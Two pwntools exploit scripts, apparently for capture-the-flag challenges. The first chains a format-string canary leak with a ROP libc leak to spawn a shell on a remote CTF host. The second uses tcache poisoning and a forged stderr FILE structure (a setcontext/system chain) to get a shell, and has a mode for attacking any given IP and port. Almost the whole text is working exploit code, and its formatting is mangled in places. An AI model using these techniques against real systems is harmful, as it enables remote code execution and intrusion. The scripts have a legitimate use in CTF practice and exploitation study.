from pwn import* from LibcSearcher import* from struct import pack from ctypes import*  # io = remote("127.0.0.1", 55299) # io = remote("192.168.170.128", 1234) # io = remote("182.92.237.102", 10015) io = remote("node8.anna.nssctf.cn", 22528) # io = process("./ezstack") # io = remote("3.1.2.3", 8888) # context(os="linux", arch="amd64") context(os="linux", arch="amd64", log_level="debug") elf = ELF('./ezstack') # libc = ELF('./libc-2.23.so') # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # libc = ELF('/home/yukon/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc.so.6')  # ctfshow用的ubuntu18.04 lg_infos = [] lga =lambda data: lg_infos.append(data) s =lambda data: io.send(data) sl =lambda data: io.sendline(data) sa =lambda text, data: io.sendafter(text, data) sla =lambda text, data: io.sendlineafter(text, data) r =lambda n: io.recv(n) ru =lambda text: io.recvuntil(text) rl =lambda: io.recvline() uu32 =lambda: u32(io.recvuntil(b"xf7")[-4:].ljust(4, b'x00')) uu64 =lambda: u64(io.recvuntil(b"x7f")[-6:].ljust(8, b"x00")) iuu32 =lambda: int(io.recv(10), 16) iuu64 =lambda: int(io.recv(6), 16) uheap =lambda: u64(io.recv(6).ljust(8, b'x00')) # lg = lambda addr: log.success(addr) # lg = lambda addr: log.info(addr) lg =lambda data : io.success('%s -> 0x%x'% (data, eval(str(data)))) ia =lambda: io.interactive()  def log_all(): for lg_info in lg_infos:         lg(lg_info)  def attach(io, gdbscript=""):     log_all()     gdb.attach(io, gdbscript)   def get_sb(): return libc_base + libc.sym['system'], libc_base +next(libc.search(b'/bin/shx00'))   # gdb.attach(io) # gdb.attach(io, 'b printf') # gdb.attach(io, 'b *0x4011B4')  puts_addr =0x0401261 pop_rdi =0x0000000000401303 payload_f =b'--%13$p-'  sla(b"canary challenge", payload_f) ru(b'--') canary =int(ru(b'-')[:-1], 16) lg("canary") ru(b'>') sl(b'a'*0x28+ p64(canary) + p64(0) + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x4011FD)) puts_real = uu64() lg("puts_real")  sla(b"canary challenge", payload_f) ru(b'--') canary =int(ru(b'-')[:-1], 16) lg("canary") ru(b'>') sl(b'a'*0x28+ p64(canary) + p64(0) + p64(pop_rdi) + p64(elf.got['printf']) + p64(elf.plt['puts']) + p64(0x4011FD)) printf_real = uu64() lg("printf_real")       libc_base = puts_real -0x84420 lib_binsh_addr = libc_base +0x1b45bd lib_system_addr = libc_base +0x52290  # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # libc_base = puts_real - libc.sym['puts'] # lib_system_addr, lib_binsh_addr = get_sb()  # libc = LibcSearcher('puts', puts_real) # lib_system_addr = libc.dump('system') # lib_binsh_addr = libc.dump("str_bin_sh")  sla(b"canary challenge", payload_f) ru(b'--') canary =int(ru(b'-')[:-1], 16) lg("canary") ru(b'>') sl(b'a'*0x28+ p64(canary) + p64(0) + p64(0x000000000040101a) + p64(pop_rdi) + p64(lib_binsh_addr) + p64(lib_system_addr))  ia() # io.recvuntil("(.*?)") # io.recvuntil(b"$1") # io.sendline(str((.*?))) # io.sendline(str($1).encode())

from pwn import*import sys
# Define lambda functions for common operationss       =lambda data               :io.send(data)sa      =lambda delim,data         :io.sendafter(delim, data)sl      =lambda data               :io.sendline(data)sla     =lambda delim,data         :io.sendlineafter(delim, data)r       =lambda num                :io.recv(num)ru      =lambda delims, drop=True  :io.recvuntil(delims, drop)rl      =lambda                    :io.recvline()uu32    =lambda data               :u32(data.ljust(4,b'x00'))uu64    =lambda data               :u64(data.ljust(8,b'x00'))ls      =lambda data               :log.success(data)lss     =lambda s                  :ls('33[1;31;40m%s --> 0x%x33[0m'% (s, eval(s)))itr     =lambda                    :io.interactive()# Context settingscontext.arch      ='amd64'context.log_level ='debug'# infocontext.terminal  = ['tmux','splitw','-h','-l','170']def start(binary,argv=[], *a, **kw):'''Start the exploit against the target.'''if   args.GDB: return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)elif args.CMD: return process(binary.split(' '))elif args.REM: return remote()elif args.AWD: return remote(sys.argv[1], int(sys.argv[2]))'''     Usage: python3 exp.py AWD <IP> <PORT>   '''return process([binary] + argv, *a, **kw)
binary ='./pwn'libelf =''
elf  = ELF(binary);rop = ROP(binary)libc = ELF('libc.so.6')gdbscript ='''#continue'''.format(**locals())

#import socks#context.proxy = (socks.SOCKS5, '192.168.80.102', 10808)
io = start(binary)

def add(idx,size,text='A'):    ru(': ')    sl('1')    ru(': ')    sl(str(idx))    ru(': ')    sl(str(size))    ru('t')    s(text)
def rm(idx):    ru(': ')    sl('2')    ru(': ')    sl(str(idx))
def show(idx):    ru(': ')    sl('3')    ru(': ')    sl(str(idx))
ru('n')sl('TLNTQpRgMrjK')
for i inrange(10):    add(i,0x100,"A")

for i inrange(7):    rm(i)rm(8)show(8)libc_base = uu64(r(6)) -2206944libc.address = libc_baseshow(0)key = uu64(r(5))  

rm(7)add(10, 0x100,'hack1')rm(8)add(11, 0xf0, b'hacker2')
add(12, 0xf0, p64(0)*2+ p64(key ^ (libc.sym['_IO_2_1_stderr_'])))

add(13, 0x100)
_stderr = libc.sym['_IO_2_1_stderr_']fake_IO_addr = _stderr
pay = flat({0x00: '  sh;',0x18-0x10: libc.sym['setcontext'] +61,0x20-0x10: fake_IO_addr, # 0x20 > 0x180x18: libc.sym['system'],0xa0: fake_IO_addr-0x10,  # 取此地址 +0xe0的地址，但是 在这里是 stdout 的 flags,为了不影响stdout修改0xc0: 1,                 # mode0xe0-0x10: fake_IO_addr, # 0xe0  0xd8: libc.sym['_IO_wfile_jumps'] +0x30,    },filler=b'x00')


#gdb.attach(io,gdbscript)
add(14, 0x100,pay)
lss('libc_base')lss('key')

sl('1')sl('88')sl('88')
itr()